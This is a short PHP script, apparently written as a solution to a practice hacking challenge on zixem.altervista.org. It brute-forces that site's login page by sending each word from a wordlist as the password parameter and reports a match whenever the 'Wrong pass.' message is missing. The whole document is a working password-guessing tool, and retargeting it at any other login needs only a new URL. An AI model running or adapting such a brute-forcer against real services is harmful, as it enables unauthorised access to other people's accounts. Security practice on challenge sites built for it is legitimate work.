simple brute for zixem challenge

<?php
// MouseSec - Terabithia
// Curl function
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $exec = curl_exec($ch);
    return $exec;
}

// Mengecek apa ada file wordlist
if(is_file($argv[1])) {
    $file = file($argv[1]);
    foreach ($file as $wordlist) {
        $wordlist = str_replace("\n", "", $wordlist);
        $url = "http://zixem.altervista.org/SQLi/login_do.php?pass=".$wordlist;
        $curl = curl($url);
        // Mengecek jika password salah, maka output adalah Wrong Password!
        if(preg_match("/Wrong pass./", $curl)) {
            print "[!] Wrong Password!\n";
        } else {
            // Jika password benar maka output adalah Password is 'password'
            print "[+] Password is $wordlist\n";
        }
    }
}